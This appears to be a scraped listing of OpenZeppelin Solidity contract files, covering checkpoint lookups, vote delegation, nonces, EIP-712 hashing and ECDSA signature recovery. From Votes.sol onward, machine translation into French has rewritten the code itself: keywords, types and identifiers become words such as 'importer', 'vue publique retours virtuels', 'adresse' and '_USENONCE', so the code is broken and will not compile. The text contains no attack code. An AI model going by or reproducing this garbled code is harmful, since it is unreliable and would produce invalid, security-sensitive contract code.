search key, or zero if * there is none. */ function lowerLookup(Trace208 storage self, uint48 key) internal view returns (uint208) { uint256 len = self._checkpoints.length; uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len); return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value; } /** * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero * if there is none. */ function upperLookup(Trace208 storage self, uint48 key) internal view returns (uint208) { uint256 len = self._checkpoints.length; uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len); return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; } /** * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero * if there is none. * * NOTE: This is a variant of {upperLookup} that is optimised to find "recent" checkpoint (checkpoints with high * keys). */ function upperLookupRecent(Trace208 storage self, uint48 key) internal view returns (uint208) { uint256 len = self._checkpoints.length; uint256 low = 0; uint256 high = len; if (len > 5) { uint256 mid = len - Math.sqrt(len); if (key < _unsafeAccess(self._checkpoints, mid)._key) { high = mid; } else { low = mid + 1; } } uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high); return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; } /** * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints. */ function latest(Trace208 storage self) internal view returns (uint208) { uint256 pos = self._checkpoints.length; return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; } /** * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value * in the most recent checkpoint. */ function latestCheckpoint(Trace208 storage self) internal view returns (bool exists, uint48 _key, uint208 _value) { uint256 pos = self._checkpoints.length; if (pos == 0) { return (false, 0, 0); } else { Checkpoint208 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1); return (true, ckpt._key, ckpt._value); } } /** * @dev Returns the number of checkpoint. */ function length(Trace208 storage self) internal view returns (uint256) { return self._checkpoints.length; } /** * @dev Returns checkpoint at given position. */ function at(Trace208 storage self, uint32 pos) internal view returns (Checkpoint208 memory) { return self._checkpoints[pos]; } /** * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint, * or by updating the last one. */ function _insert(Checkpoint208[] storage self, uint48 key, uint208 value) private returns (uint208, uint208) { uint256 pos = self.length; if (pos > 0) { // Copying to memory is important here. Checkpoint208 memory last = _unsafeAccess(self, pos - 1); // Checkpoint keys must be non-decreasing. if (last._key > key) { revert CheckpointUnorderedInsertion(); } // Update or push new checkpoint if (last._key == key) { _unsafeAccess(self, pos - 1)._value = value; } else { self.push(Checkpoint208({_key: key, _value: value})); } return (last._value, value); } else { self.push(Checkpoint208({_key: key, _value: value})); return (0, value); } } /** * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high` * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive * `high`. * * WARNING: `high` should not be greater than the array's length. */ function _upperBinaryLookup( Checkpoint208[] storage self, uint48 key, uint256 low, uint256 high ) private view returns (uint256) { while (low < high) { uint256 mid = Math.average(low, high); if (_unsafeAccess(self, mid)._key > key) { high = mid; } else { low = mid + 1; } } return high; } /** * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and * exclusive `high`. * * WARNING: `high` should not be greater than the array's length. */ function _lowerBinaryLookup( Checkpoint208[] storage self, uint48 key, uint256 low, uint256 high ) private view returns (uint256) { while (low < high) { uint256 mid = Math.average(low, high); if (_unsafeAccess(self, mid)._key < key) { low = mid + 1; } else { high = mid; } } return high; } /** * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds. */ function _unsafeAccess( Checkpoint208[] storage self, uint256 pos ) private pure returns (Checkpoint208 storage result) { assembly { mstore(0, self.slot) result.slot := add(keccak256(0, 0x20), pos) } } struct Trace160 { Checkpoint160[] _checkpoints; } struct Checkpoint160 { uint96 _key; uint160 _value; } /** * @dev Pushes a (`key`, `value`) pair into a Trace160 so that it is stored as the checkpoint. * * Returns previous value and new value. * * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint96).max` key set will disable the * library. */ function push(Trace160 storage self, uint96 key, uint160 value) internal returns (uint160, uint160) { return _insert(self._checkpoints, key, value); } /** * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if * there is none. */ function lowerLookup(Trace160 storage self, uint96 key) internal view returns (uint160) { uint256 len = self._checkpoints.length; uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len); return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value; } /** * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero * if there is none. */ function upperLookup(Trace160 storage self, uint96 key) internal view returns (uint160) { uint256 len = self._checkpoints.length; uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len); return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; } /** * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero * if there is none. * * NOTE: This is a variant of {upperLookup} that is optimised to find "recent" checkpoint (checkpoints with high * keys). */ function upperLookupRecent(Trace160 storage self, uint96 key) internal view returns (uint160) { uint256 len = self._checkpoints.length; uint256 low = 0; uint256 high = len; if (len > 5) { uint256 mid = len - Math.sqrt(len); if (key < _unsafeAccess(self._checkpoints, mid)._key) { high = mid; } else { low = mid + 1; } } uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high); return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; } /** * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints. */ function latest(Trace160 storage self) internal view returns (uint160) { uint256 pos = self._checkpoints.length; return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; } /** * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value * in the most recent checkpoint. */ function latestCheckpoint(Trace160 storage self) internal view returns (bool exists, uint96 _key, uint160 _value) { uint256 pos = self._checkpoints.length; if (pos == 0) { return (false, 0, 0); } else { Checkpoint160 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1); return (true, ckpt._key, ckpt._value); } } /** * @dev Returns the number of checkpoint. */ function length(Trace160 storage self) internal view returns (uint256) { return self._checkpoints.length; } /** * @dev Returns checkpoint at given position. */ function at(Trace160 storage self, uint32 pos) internal view returns (Checkpoint160 memory) { return self._checkpoints[pos]; } /** * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint, * or by updating the last one. */ function _insert(Checkpoint160[] storage self, uint96 key, uint160 value) private returns (uint160, uint160) { uint256 pos = self.length; if (pos > 0) { // Copying to memory is important here. Checkpoint160 memory last = _unsafeAccess(self, pos - 1); // Checkpoint keys must be non-decreasing. if (last._key > key) { revert CheckpointUnorderedInsertion(); } // Update or push new checkpoint if (last._key == key) { _unsafeAccess(self, pos - 1)._value = value; } else { self.push(Checkpoint160({_key: key, _value: value})); } return (last._value, value); } else { self.push(Checkpoint160({_key: key, _value: value})); return (0, value); } } /** * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high` * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive * `high`. * * WARNING: `high` should not be greater than the array's length. */ function _upperBinaryLookup( Checkpoint160[] storage self, uint96 key, uint256 low, uint256 high ) private view returns (uint256) { while (low < high) { uint256 mid = Math.average(low, high); if (_unsafeAccess(self, mid)._key > key) { high = mid; } else { low = mid + 1; } } return high; } /** * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and * exclusive `high`. * * WARNING: `high` should not be greater than the array's length. */ function _lowerBinaryLookup( Checkpoint160[] storage self, uint96 key, uint256 low, uint256 high ) private view returns (uint256) { while (low < high) { uint256 mid = Math.average(low, high); if (_unsafeAccess(self, mid)._key < key) { low = mid + 1; } else { high = mid; } } return high; } /** * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds. */ function _unsafeAccess( Checkpoint160[] storage self, uint256 pos ) private pure returns (Checkpoint160 storage result) { assembly { mstore(0, self.slot) result.slot := add(keccak256(0, 0x20), pos) } }}
Fichier 8 sur 28: votes.sol
// SPDX-License-Identifier : MIT// OpenZeppelin Contracts (dernière mise à jour v5.0.0) (governance/utils/Votes.sol)pragma solidity ^0.8.20;importer {IERC5805} depuis "../../interfaces/ IERC5805.sol";importer {Context} depuis "../../utils/Context.sol";importer {Nonces} depuis "../../utils/Nonces.sol";importer {EIP712} depuis ". ./../utils/cryptography/EIP712.sol";importer {Checkpoints} depuis "../../utils/structs/Checkpoints.sol";importer {SafeCast} depuis "../../utils/math /SafeCast.sol";importer {ECDSA} depuis "../../utils/cryptography/ECDSA.sol";importer {Time} depuis "../../utils/types/Time.sol";/* * * @dev Il s'agit d'un contrat abstrait de base qui suit les unités de droit de vote, qui sont une mesure du pouvoir de vote qui peut être * transféré, et fournit un système de délégation de vote, où un compte peut déléguer ses unités de droit de vote à une sorte de * " représentant" qui regroupera les unités de vote déléguées de différents comptes et pourra ensuite l'utiliser pour voter dans * les décisions. En fait, les unités de vote _doivent_ être déléguées afin de compter comme des votes réels, et un compte doit * se déléguer ces votes s'il souhaite participer aux décisions et n'a pas de représentant de confiance. * * Ce contrat est souvent combiné à un contrat symbolique tel que les unités votantes correspondent aux unités symboliques. Pour un exemple *, consultez {ERC721Votes}. * * L'historique complet des votes des délégués est suivi en chaîne afin que les protocoles de gouvernance puissent considérer les votes comme distribués * à un numéro de bloc particulier pour se protéger contre les prêts flash et le double vote. Le système de délégué opt-in rend le * coût de ce suivi historique facultatif. * * Lors de l'utilisation de ce module, le contrat dérivé doit implémenter {_getVotingUnits} (par exemple, lui faire renvoyer * {ERC721-balanceOf}), et peut utiliser {_transferVotingUnits} pour suivre un changement dans la distribution de ces unités (dans le * précédent exemple, il serait inclus dans {ERC721-_update}). */contrat abstrait Les votes sont le contexte, EIP712, Nonces, IERC5805 { using Checkpoints for Checkpoints.Trace208 ; bytes32 constante privée DELEGATION_TYPEHASH = keccak256("Délégation(adresse du délégué, uint256 nonce, uint256 expiration)"); mapping (adresse compte => adresse) private _delegatee ; mapping (adresse du délégué => Checkpoints.Trace208) private _delegateCheckpoints ; Checkpoints.Trace208 _totalCheckpoints privés ; /** * @dev L'horloge n'a pas été correctement modifiée. */ erreur ERC6372InconsistentClock(); /** * @dev La recherche des votes futurs n'est pas disponible. */ erreur ERC5805FutureLookup (point temporel uint256, horloge uint48) ; /** * @dev Clock utilisée pour signaler les points de contrôle. Peut être remplacé pour implémenter des points de contrôle * basés sur l'horodatage (et le vote), auquel cas {CLOCK_MODE} doit également être remplacé pour correspondre. */ function clock() vue publique virtual return (uint48) { return Time.blockNumber(); } /** * @dev Description lisible par machine de l'horloge telle que spécifiée dans EIP-6372. */ // solhint-disable-next-line func-name-mixedcase function CLOCK_MODE() public view virtual return (string memory) { // Vérifiez que l'horloge n'a pas été modifiée if (clock() != Time.blockNumber() ) { revenir à ERC6372InconsistentClock(); } return "mode=blocknumber&from=default"; } /** * @dev Renvoie le nombre actuel de votes dont dispose le « compte ». */ function getVotes(adresse du compte) vue publique retours virtuels (uint256) { return _delegateCheckpoints[account].latest(); } /** * @dev Renvoie le nombre de votes que le « compte » a eu à un moment précis dans le passé. Si `clock()` est * configuré pour utiliser des numéros de bloc, cela renverra la valeur à la fin du bloc correspondant. * * Exigences : * * - `timepoint` doit être dans le passé. Si vous utilisez des numéros de bloc, le bloc doit déjà être extrait. */ function getPastVotes (compte d'adresse, point de temps uint256) vue publique retours virtuels (uint256) { uint48 currentTimepoint = clock(); if (timepoint >= currentTimepoint) { revert ERC5805FutureLookup(timepoint, currentTimepoint); } return _delegateCheckpoints[account].upperLookupRecent(SafeCast.toUint48(timepoint)); } /** * @dev Renvoie l'offre totale de votes disponibles à un moment précis dans le passé. Si `clock()` est * configuré pour utiliser des numéros de bloc, cela renverra la valeur à la fin du bloc correspondant. * * REMARQUE : Cette valeur est la somme de tous les votes disponibles, qui n'est pas nécessairement la somme de tous les votes délégués. * Les votes qui n'ont pas été délégués font toujours partie de l'offre totale, même s'ils ne participeraient pas à un * vote. * * Exigences : * * - `timepoint` doit être dans le passé. Si vous utilisez des numéros de bloc, le bloc doit déjà être extrait. */ function getPastTotalSupply(uint256 timepoint) vue publique retours virtuels (uint256) { uint48 currentTimepoint = clock(); if (timepoint >= currentTimepoint) { revert ERC5805FutureLookup(timepoint, currentTimepoint); } return _totalCheckpoints.upperLookupRecent(SafeCast.toUint48(timepoint)); } /** * @dev Renvoie l'offre totale actuelle de votes. */ function _getTotalSupply() vue interne retours virtuels (uint256) { return _totalCheckpoints.latest(); } /** * @dev Renvoie le délégué que `account` a choisi. */ function délégués (adresse du compte) vue publique retours virtuels (adresse) { return _delegatee[compte]; } /** * @dev Les délégués votent de l'expéditeur au « délégué ». */ function délégué(adresse déléguée) public virtual { adresse compte = _msgSender(); _delegate(compte, délégataire); } /** * @dev Les délégués votent du signataire au « délégué ». */ function déléguéBySig( adresse délégué, uint256 nonce, uint256 expiration, uint8 v, bytes32 r, bytes32 s ) public virtual { if (block.timestamp > expiry) { revert VotesExpiredSignature(expiry); } signataire d'adresse = ECDSA.recover( _hashTypedDataV4(keccak256(abi.encode(DELEGATION_TYPEHASH, délégué, nonce, expiration))), v, r, s ); _useCheckedNonce(signataire, nonce); _delegate(signataire, délégataire); } /** * @dev Délégue toutes les unités de droit de vote du « compte » au « délégué ». * * Émet les événements {IVotes-DelegateChanged} et {IVotes-DelegateVotesChanged}. */ function _delegate(adresse compte, adresse délégué) internal virtual { adresse oldDelegate = délégués(compte); _delegatee[compte] = délégué ; émettre DelegateChanged (compte, oldDelegate, délégué); _moveDelegateVotes(oldDelegate, délégué, _getVotingUnits(compte)); } /** * @dev Transfère, frappe ou brûle des unités avec droit de vote. Pour enregistrer une menthe, « from » doit être zéro. Pour enregistrer une gravure, `to` * doit être nul. L'offre totale d'unités de vote sera ajustée avec des menthes et des brûlures. */ function _transferVotingUnits(adresse de, adresse à, montant uint256) internal virtual { if (from == adresse(0)) { _push(_totalCheckpoints, _add, SafeCast.toUint208(montant)); } if (to == adresse(0)) { _push(_totalCheckpoints, _subtract, SafeCast.toUint208(amount)); } _moveDelegateVotes(délégués(de), délégués(à), montant); } /** * @dev Déplace les votes des délégués d'un délégué à un autre. */ function _moveDelegateVotes(adresse de, adresse à, montant uint256) private { if (de != à && montant > 0) { if (from != adresse(0)) { (uint256 oldValue, uint256 newValue) = _push( _delegateCheckpoints [de], _subtract, SafeCast.toUint208(montant) ); émettre DelegateVotesChanged (from, oldValue, newValue); } if (to != adresse(0)) { (uint256 oldValue, uint256 newValue) = _push( _delegateCheckpoints[to], _add, SafeCast.toUint208(amount) ); émettre DelegateVotesChanged(to, oldValue, newValue); } } } /** * @dev Récupère le nombre de points de contrôle pour le « compte ». */ function _numCheckpoints(adresse du compte) vue interne retours virtuels (uint32) { return SafeCast.toUint32(_delegateCheckpoints[account].length()); } /** * @dev Obtenez le `pos`-ème point de contrôle pour `account`. */ function _checkpoints( compte d'adresse, uint32 pos ) vue interne retours virtuels (mémoire Checkpoints.Checkpoint208) { return _delegateCheckpoints[account].at(pos); } function _push (magasin de stockage Checkpoints.Trace208, function (uint208, uint208) view renvoie (uint208) op, uint208 delta) retours privés (uint208, uint208) { return store.push(clock(), op(store.latest() , delta)); } function _add(uint208 a, uint208 b) private pure return (uint208) { return a + b; } function _subtract(uint208 a, uint208 b) private pure return (uint208) { return a - b; } /** * @dev Doit restituer les unités avec droit de vote détenues par un compte. */ function _getVotingUnits(address) vue interne retours virtuels (uint256);}
Fichier 9 sur 28: nonces.sol
// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (utils / nonces.sol) Pragma Solidity ^ 0.8.20; / ** * @dev fournit des non-adresses de suivi pour les adresses.Les nonces ne feront qu'augmenter.* / Résumé Contrat Nonces {/ ** * @dev Le nonce utilisé pour un «compte» n'est pas le nonce actuel attendu.* / Error InvalidAccountNonce (compte d'adresse, uint256 currentNonce);mappage (compte d'adresse => uint256) privé _NONCES;/ ** * @DEV renvoie le prochain NONCE inutilisé pour une adresse.* / Fonction Nonces (propriétaire d'adresse) View Public Returns virtuels (Uint256) {return _Nonces [propriétaire];} / ** * @dev consomme un nonce.* * Renvoie la valeur actuelle et les incréments nonce.* / fonction _USENONCE (propriétaire d'adresse) Renvoie virtuel interne (Uint256) {// Pour chaque compte, le nonce a une valeur initiale de 0, ne peut être incrémenté que d'un seul et ne peut pas être // décrémenté ou réinitialisé.Cela garantit que le nonce ne déborde jamais.non contrôlé {// Il est important de faire x ++ et non ++ x ici.return _Nonces [propriétaire] ++;}} / ** * @dev Identique à {_useonce} Mais vérifier que `nonce` est le prochain valide pour` propriétaire`.* / fonction _USECheckEdNonce (propriétaire d'adresse, uint256 nonce) virtuel interne {uint256 courant = _Usenonce (propriétaire);if (nonce! = Current) {REVERT INVALIDACCOUNTNONCE (propriétaire, courant);}}}
Fichier 10 sur 28: EIP712.Sol
// SPDX-License-Identifier : MIT// OpenZeppelin Contracts (dernière mise à jour v5.0.0) (utils/cryptography/EIP712.sol)pragma solidity ^0.8.20 ; importer {MessageHashUtils} depuis "./MessageHashUtils.sol" ; importer {ShortStrings, ShortString} depuis "../ShortStrings.sol" ; importer {IERC5267} depuis "../../interfaces/IERC5267.sol" ;/** * @dev https://eips.ethereum.org/ EIPS/eip-712[EIP 712] est une norme de hachage et de signature de données structurées typées. * * Le schéma de codage spécifié dans l'EIP nécessite un séparateur de domaine et un hachage des données structurées typées, dont * le codage est très générique et donc son implémentation dans Solidity n'est pas réalisable, donc ce contrat * n'implémente pas le codage lui-même. Les protocoles doivent implémenter le codage spécifique au type dont ils ont besoin afin de * produire le hachage de leurs données saisies en utilisant une combinaison de `abi.encode` et `keccak256`. * * Ce contrat implémente le séparateur de domaine EIP 712 ({_domainSeparatorV4}) qui est utilisé dans le cadre du schéma de codage *, et la dernière étape du codage pour obtenir le résumé du message qui est ensuite signé via ECDSA * ({_hashTypedDataV4}) . * * L'implémentation du séparateur de domaine a été conçue pour être aussi efficace que possible tout en mettant correctement à jour * l'identifiant de la chaîne pour se protéger contre les attaques par rejeu sur un éventuel fork de la chaîne. * * REMARQUE : Ce contrat implémente la version de l'encodage dite "v4", telle qu'implémentée par la méthode JSON RPC * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` dans MetaMask] . * * REMARQUE : Dans la version évolutive de ce contrat, les valeurs mises en cache correspondront à l'adresse et au séparateur de domaine * du contrat de mise en œuvre. Cela entraînera la fonction {_domainSeparatorV4} à toujours reconstruire le séparateur * à partir des valeurs immuables, ce qui est moins cher que d'accéder à une version mise en cache dans un stockage froid. * * @custom:oz-upgrades-unsafe-allow state-variable-immutable */abstract contract EIP712 est IERC5267 { utilisant ShortStrings pour * ; bytes32 constante privée TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyContract)"); // Cache le séparateur de domaine en tant que valeur immuable, mais stocke également l'identifiant de chaîne auquel il correspond, afin // d'invalider le séparateur de domaine mis en cache si l'identifiant de chaîne change. bytes32 _cachedDomainSeparator privé immuable ; uint256 _cachedChainId privé immuable ; adresse privée immuable _cachedThis ; bytes32 _hashedName privé immuable ; bytes32 _hashedVersion privé immuable ; ShortString _name immuable privé ; ShortString _version immuable privée ; chaîne privée _nameFallback ; chaîne privée _versionFallback ; /** * @dev Initialise le séparateur de domaine et les caches de paramètres. * * La signification de `name` et `version` est spécifiée dans * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712] : * * - `name` : le nom lisible par l'utilisateur du domaine signataire, c'est-à-dire le nom du DApp ou du protocole. * - `version` : la version majeure actuelle du domaine signataire. * * REMARQUE : Ces paramètres ne peuvent pas être modifiés sauf via xref:learn::upgrading-smart-contracts.adoc[smart * contract Upgrade]. */ constructeur (nom de la mémoire de chaîne, version de la mémoire de chaîne) { _name = name.toShortStringWithFallback (_nameFallback); _version = version.toShortStringWithFallback(_versionFallback); _hashedName = keccak256(octets(nom)); _hashedVersion = keccak256(octets(version)); _cachedChainId = block.chainid; _cachedDomainSeparator = _buildDomainSeparator(); _cachedThis = adresse (ce); } /** * @dev Renvoie le séparateur de domaine pour la chaîne actuelle. */ la vue interne de la fonction _domainSeparatorV4() renvoie (bytes32) { if (address(this) == _cachedThis && block.chainid == _cachedChainId) { return _cachedDomainSeparator; } else { return _buildDomainSeparator(); } } function _buildDomainSeparator() vue privée renvoie (bytes32) { return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, adresse(this))); } /** * @dev Étant donné une déjà https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], cette * fonction renvoie le hachage du message EIP712 entièrement codé pour cela domaine. * * Ce hachage peut être utilisé avec {ECDSA-recover} pour obtenir le signataire d'un message. Par exemple : * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(adresse à,contenu de la chaîne)"), * mailTo, * keccak256(bytes(mailContents)) * )) ); * signataire de l'adresse = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) vue interne retours virtuels (bytes32) { return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash); } /** * @dev Voir {IERC-5267}. */ function eip712Domain() vue publique retours virtuels (champs bytes1, nom de la mémoire de chaîne, version de la mémoire de chaîne, uint256 chainId, vérification d'adresseContract, bytes32 salt, uint256[] extensions de mémoire) { return ( hex"0f", // 01111 _EIP712Name( ), _EIP712Version(), block.chainid, adresse(this), bytes32(0), new uint256[](0) ); } /** * @dev Le paramètre de nom du domaine EIP712. * * REMARQUE : Par défaut, cette fonction lit _name qui est une valeur immuable. * Il ne lit le stockage que si nécessaire (au cas où la valeur serait trop grande pour tenir dans un ShortString). */ // solhint-disable-next-line func-name-mixedcase function _EIP712Name() la vue interne renvoie (mémoire de chaîne) { return _name.toStringWithFallback(_nameFallback); } /** * @dev Le paramètre de version pour le domaine EIP712. * * REMARQUE : Par défaut, cette fonction lit _version qui est une valeur immuable. * Il ne lit le stockage que si nécessaire (au cas où la valeur serait trop grande pour tenir dans un ShortString). */ // solhint-disable-next-line func-name-mixedcase function _EIP712Version() la vue interne renvoie (mémoire de chaîne) { return _version.toStringWithFallback(_versionFallback); }}
Fichier 11 sur 28: ecdsa.sol
// SPDX-License-Identifier : MIT// OpenZeppelin Contracts (dernière mise à jour v5.0.0) (utils/cryptography/ECDSA.sol)pragma solidity ^0.8.20;/** * @dev Algorithme de signature numérique à courbe elliptique (ECDSA) opérations. * * Ces fonctions peuvent être utilisées pour vérifier qu'un message a été signé par le détenteur * des clés privées d'une adresse donnée. */library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS } /** * @dev La signature dérive l'adresse (0) . */ erreur ECDSAInvalidSignature(); /** * @dev La signature a une longueur non valide. */ erreur ECDSAInvalidSignatureLength(uint256 longueur); /** * @dev La signature a une valeur S qui se situe dans la moitié supérieure de l'ordre. */ erreur ECDSAInvalidSignatureS(bytes32 s); /** * @dev Renvoie l'adresse qui a signé un message haché (`hash`) avec `signature` ou une erreur. Cela ne renverra pas * l'adresse (0) sans également renvoyer une description de l'erreur. Les erreurs sont documentées à l'aide d'une énumération (type d'erreur) * et d'un bytes32 fournissant des informations supplémentaires sur l'erreur. * * Si aucune erreur n'est renvoyée, l'adresse peut être utilisée à des fins de vérification. * * La précompilation EVM `ecrecover` permet des signatures malléables (non uniques) : * cette fonction les rejette en exigeant que la valeur `s` soit dans la moitié inférieure * de l'ordre et que la valeur `v` soit soit 27, soit 28. * * IMPORTANT : `hash` _doit_ être le résultat d'une opération de hachage pour que la * vérification soit sécurisée : il est possible de créer des signatures qui * récupèrent vers des adresses arbitraires pour les données non hachées. Un moyen sûr de s'en assurer * est de recevoir un hachage du message d'origine (qui pourrait autrement * être trop long), puis d'appeler {MessageHashUtils-toEthSignedMessageHash} dessus. * * Documentation pour la génération de signature : * - avec https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - avec https://docs.ethers .io/v5/api/signer/#Signer-signMessage[ethers] */ function tryRecover (hachage bytes32, signature mémoire octets) retours purs internes (adresse, RecoverError, bytes32) { if (signature.length == 65) { bytes32 r; octets32 s ; uint8 v; // ecrecover prend les paramètres de signature, et le seul moyen de les obtenir // actuellement est d'utiliser assembly. /// @solidity memory-safe-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60) ))) } return tryRecover(hash, v, r, s); } else { return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length)); } } /** * @dev Renvoie l'adresse qui a signé un message haché (`hash`) avec * `signature`. Cette adresse peut ensuite être utilisée à des fins de vérification. * * La précompilation EVM `ecrecover` permet des signatures malléables (non uniques) : * cette fonction les rejette en exigeant que la valeur `s` soit dans la moitié inférieure * de l'ordre et que la valeur `v` soit soit 27, soit 28. * * IMPORTANT : `hash` _doit_ être le résultat d'une opération de hachage pour que la * vérification soit sécurisée : il est possible de créer des signatures qui * récupèrent vers des adresses arbitraires pour les données non hachées. Un moyen sûr de s'en assurer * est de recevoir un hachage du message d'origine (qui pourrait autrement * être trop long), puis d'appeler {MessageHashUtils-toEthSignedMessageHash} dessus. */ function recovery (hachage bytes32, signature mémoire octets) internal pure return (adresse) { (adresse récupérée, erreur RecoverError, bytes32 errorArg) = tryRecover (hash, signature); _throwError(erreur, erreurArg); retour récupéré; } /** * @dev Surcharge de {ECDSA-tryRecover} qui reçoit séparément les champs de signature courte `r` et `vs`. * * Voir https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] */ function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) retours purs internes (adresse, RecoverError, bytes32) { décoché { bytes32 s = vs & bytes32(0x7ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); // Nous ne vérifions pas ici un débordement puisque l'opération de décalage donne 0 ou 1. uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } } /** * @dev Surcharge de {ECDSA-recover} qui reçoit séparément les champs de signature courte `r et `vs`. */ function recovery(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) { (adresse récupérée, erreur RecoverError, bytes32 errorArg) = tryRecover(hash, r, vs); _throwError(erreur, erreurArg); retour récupéré; } /** * @dev Surcharge de {ECDSA-tryRecover} qui reçoit les champs de signature `v`, * `r` et `s` séparément. */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) retours purs internes (adresse, RecoverError, bytes32) { // EIP-2 permet toujours la malléabilité de la signature pour ecrecover(). Supprimez cette possibilité et rendez la signature // unique. L'annexe F du livre Ethereum Yellow (https://ethereum.github.io/whitepaper/paper.pdf), définit // la plage valide pour s dans (301) : 0 < s < secp256k1n ÷ 2 + 1, et pour v dans (302) : v ∈ {27, 28}. La plupart // des signatures des bibliothèques actuelles génèrent une signature unique avec une valeur s dans la moitié inférieure de l'ordre. // // Si votre bibliothèque génère des signatures malléables, telles que des valeurs s dans la plage supérieure, calculez une nouvelle valeur s // avec 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 et inversez v de 27 à 28 ou // vice versa. Si votre bibliothèque génère également des signatures avec 0/1 pour v au lieu de 27/28, ajoutez 27 à v pour accepter // également ces signatures malléables. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS, s); } // Si la signature est valide (et non malléable), renvoie l'adresse du signataire adresse signer = ecrecover(hash, v, r, s); if (signer == adresse(0)) { return (adresse(0), RecoverError.InvalidSignature, bytes32(0)); } return (signataire, RecoverError.NoError, bytes32(0)); } /** * @dev Surcharge de {ECDSA-recover} qui reçoit les champs de signature `v`, * `r` et `s` séparément. */ function recovery(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { (adresse récupérée, erreur RecoverError, bytes32 errorArg) = tryRecover(hash, v, r, s); _throwError(erreur, erreurArg); retour récupéré; } /** * @dev Annule éventuellement l'erreur personnalisée correspondante en fonction de l'argument `error` fourni. */ function _throwError(Erreur RecoverError, bytes32 errorArg) private pure { if (error == RecoverError.NoError) { return; // aucune erreur : ne rien faire } else if (error == RecoverError.InvalidSignature) { revert ECDSAInvalidSignature(); } else if (error == RecoverError.InvalidSignatureLength) { revert ECDSAInvalidSignatureLength(uint256(errorArg)); } else if (error == RecoverError.InvalidSignatureS) { revert ECDSAInvalidSignatureS(errorArg); } }}
Fichier 12 sur 28: IERC20PERMIT.SOL
